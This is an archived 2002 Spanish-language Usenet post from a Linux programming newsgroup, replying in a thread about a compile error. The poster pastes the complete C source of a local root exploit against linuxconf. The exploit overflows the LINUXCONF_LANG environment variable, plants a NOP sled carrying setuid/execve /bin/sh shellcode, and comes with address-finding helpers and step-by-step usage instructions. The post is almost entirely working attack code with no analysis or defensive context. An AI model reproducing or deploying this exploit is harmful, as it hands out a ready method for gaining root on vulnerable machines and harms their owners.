🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Article View: es.comp.os.linux.programacion
Article #8647

Re: error al compilar

#8647
From: knet
Date: Tue, 22 Oct 2002 10:25
203 lines
6696 bytes
> 
> De todas formas, ayudaria mucho una copia del codigo
> fuente para decirte exactamente lo que te ocurre.
> 
> Un saludo.

Ah� lo tienes. Se trata de un exploit que queria provar (y esto es verdad) n 
mi propio PC. En teoria mi distribuci�n (Red-Hat 7.3)  es vulnerable a este 
bug y me interesa comprobarlo.


#include <stdio.h>
 #include <stdlib.h>
 #include <getopt.h>

#define DEFAULT_BUFFER_SIZE 1200
#define DEFAULT_EGG_SIZE 1200
 #define NOP 0x90
 #define FAKE 0x41
 #define ALIGN -1
 #define LINUXCONF "/bin/linuxconf"

char shellcode[] = 
   "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
    __asm__("movl %esp,%eax");
 }

void usage(char *name)
 {
     printf("------  ]---\n");
     printf("------------------  ]---\n\n");
     printf("Step 1 : %s -p\n",name);
     printf("Step 2 : %s -f\n",name);
     printf("Step 3 : sh handy.sh <&shellcode> <&padstring>\n",name);
     printf("Step 4 : mkdir segfault.eng; touch 
segfault.eng/segfault.eng\n");
     printf("Step 5 : %s -s <&shellcode> -m <&padstring> -r 
<padstart>\n\n",name);
     printf("step 5 options :\n");
     printf("\t -a <0..4>\t/* padding alignment */\n");
     printf("\t -b <0..4>\t/* retaddr alignment */\n\n");
    exit(0);
 }

void find_ret(char *name)
 {
     
     char *p;
     char *noops = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
     char *ourstr = "\x73\x65\x67\x66\x61\x75\x6c\x74"; /* =) */
     int i;

    p = (char *)get_sp();
    while((i = strncmp(p, noops, strlen(noops))) != 0)
         p++;

    if (i == 0)
       printf("[+] shellcode found @ : 0x%lx\n", p+1);
     else {
        printf("[!] trouble locating shellcode addr\n");
        exit(0);
     }

     p = (char *)get_sp();
     while((i = strncmp(p, ourstr, strlen(ourstr))) != 0)
         p++;

    if (i == 0)
       printf("[+] padstring found @ : 0x%lx\n", 
p-(strlen(LINUXCONF)-strlen(name))); /* huh env */
     else {
       printf("[!] trouble locating padstring addr\n");
        exit(0);
     }

     printf("[*] now exec \"sh handy.sh <&shellcode> <&padstring>\" to find 
padstart.\n", name);
     exit(0);

}

void build_egg(char *name)
 {
   char *egg, *ptr, *fake, ourstr[9];
   int i, eggsize = DEFAULT_EGG_SIZE;

  if (!(egg = malloc(eggsize))) {
     printf("Can't allocate memory.\n");
     exit(0);
   }
   if (!(fake = malloc(DEFAULT_BUFFER_SIZE))) {
     printf("Can't allocate memory.\n");
     exit(0);
   }

  memset(fake,0,DEFAULT_BUFFER_SIZE);
   memset(fake,FAKE,DEFAULT_BUFFER_SIZE);
   memcpy(fake,"LINUXCONF_LANG=",15);
   fake[DEFAULT_BUFFER_SIZE-1] = '\0';

  memset(egg,0,eggsize);
   memset(egg,NOP,eggsize);

  ptr = egg;
   ptr += eggsize/2;

  for (i = 0; i < strlen(shellcode); i++)
         ptr[i] = shellcode[i];

  egg[eggsize-1] = '\0';
   strcpy(ourstr,"segfault");
   ourstr[9]='\0';

  setenv("EGG",egg,1);
   setenv("HOSTNAME",ourstr,1);
   putenv(fake);

  printf("[+] exec \"%s -f\" to find &shellcode and &padstring\n",name);
   system("/bin/sh");

  exit(0);
 }

int main(int argc, char *argv[]) {

  char *buff, *tmp;
   unsigned long retaddr, padaddr;
   int bsize = DEFAULT_BUFFER_SIZE, retalign = ALIGN, padalign = ALIGN;
   int i, c, padstart = 792; /* default for mdk 8.2 */

   if (argc < 2) usage(argv[0]);

   while((c = getopt(argc, argv, "pfs:m:a:r:b:")) != EOF) {
         switch(c) {
                 case 'p':
                         build_egg(argv[0]);
    break;
                 case 'f':
                         find_ret(argv[0]);
    break;
                 case 's':
                         sscanf(optarg, "%p", &tmp);
                         retaddr = (long)tmp;
                         break;
   case 'm':
    sscanf(optarg, "%p", &tmp);
    padaddr = (long)tmp;
    break;
   case 'a':
    padalign = atoi(optarg);
    break;
   case 'b':
    retalign = atoi(optarg);
    break;
   case 'r':
    padstart = atoi(optarg);
    break;
                 default:
                         usage(argv[0]);
                 }
   }
 
  printf("----- ]---\n");
   printf("--------- ]---\n\n");

  if (!(buff = malloc(bsize))) {
     printf("Can't allocate memory.\n");
     exit(0);
   }

  printf("[+] &shellcode : 0x%x\n", retaddr);
   printf("[+] &padstring : 0x%x\n",padaddr);
   printf("[+] bsize : %d\n",bsize);
   printf("[+] padstart : %d\n\n",padstart);
    
   /* fill up buffer with retaddr */
   for (i = 0 ;i < bsize; i+= 4) {
     buff[i+retalign] = (retaddr&0x000000ff);
      buff[i+retalign+1] = (retaddr&0x0000ff00)>>8;
      buff[i+retalign+2] = (retaddr&0x00ff0000)>>16;
      buff[i+retalign+3] = (retaddr&0xff000000)>>24;
   }
   /* padding to our env string */
   for (i = padstart; i < bsize ; i+= 4) {
      buff[i+padalign] = (padaddr&0x000000ff);
      buff[i+padalign+1] = (padaddr&0x0000ff00)>>8;
      buff[i+padalign+2] = (padaddr&0x00ff0000)>>16;
      buff[i+padalign+3] = (padaddr&0xff000000)>>24;
   }

  memcpy(buff,"LINUXCONF_LANG=",15);
   buff[bsize - 1] = '\0';
   putenv(buff);
 
  execl(LINUXCONF,"linuxconf",0);
   return 0x0;
 }
Technical Details
Message-ID: <ap39hk$50r$1@nsnmrro2-gest.nuria.telefonica-data.net>
Path: arc1-ca.pugleaf.net!archiver1.google.com!news1.google.com!newsfeed.stanford.edu!logbridge.uoregon.edu!feeder.via.net!cyclone-sf.pbi.net!216.218.192.242!news.he.net!news-out.spamkiller.net!propagator2-maxim!news-in.spamkiller.net!news.telia-iberia.com!news.rediris.es!nsnmrro1-lo.nuria.telefonica-data.net!nsnmrro2-lo.nuria.telefonica-data.net!not-for-mail
References: <ap0ssf$nr6$1@nsnmrro2-gest.nuria.telefonica-data.net> <ap36ol$jel$1@bernat.uji.es>

Show Full Headers
Complete Article Headers
X-Google-Language: ENGLISH,ASCII
X-Google-Thread: f86c8,7a36d426f3616822
X-Google-Attributes: gidf86c8,public
X-Google-ArrivalTime: 2002-10-22 03:33:26 PST
Path: arc1-ca.pugleaf.net!archiver1.google.com!news1.google.com!newsfeed.stanford.edu!logbridge.uoregon.edu!feeder.via.net!cyclone-sf.pbi.net!216.218.192.242!news.he.net!news-out.spamkiller.net!propagator2-maxim!news-in.spamkiller.net!news.telia-iberia.com!news.rediris.es!nsnmrro1-lo.nuria.telefonica-data.net!nsnmrro2-lo.nuria.telefonica-data.net!not-for-mail
From: knet <knet@localhost.com>
Newsgroups: es.comp.os.linux.programacion
Subject: Re: error al compilar
Date: Tue, 22 Oct 2002 12:25:57 +0200
Organization: Telefonica Data Espagna
Lines: 203
Message-ID: <ap39hk$50r$1@nsnmrro2-gest.nuria.telefonica-data.net>
References: <ap0ssf$nr6$1@nsnmrro2-gest.nuria.telefonica-data.net> <ap36ol$jel$1@bernat.uji.es>
NNTP-Posting-Host: 213-97-30-249.uc.nombres.ttd.es
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
Content-Transfer-Encoding: 8Bit
X-Trace: nsnmrro2-gest.nuria.telefonica-data.net 1035282804 5147 213.97.30.249 (22 Oct 2002 10:33:24 GMT)
X-Complaints-To: usenet@nsnmrro2-gest.nuria.telefonica-data.net
NNTP-Posting-Date: Tue, 22 Oct 2002 10:33:24 +0000 (UTC)
User-Agent: KNode/0.7.1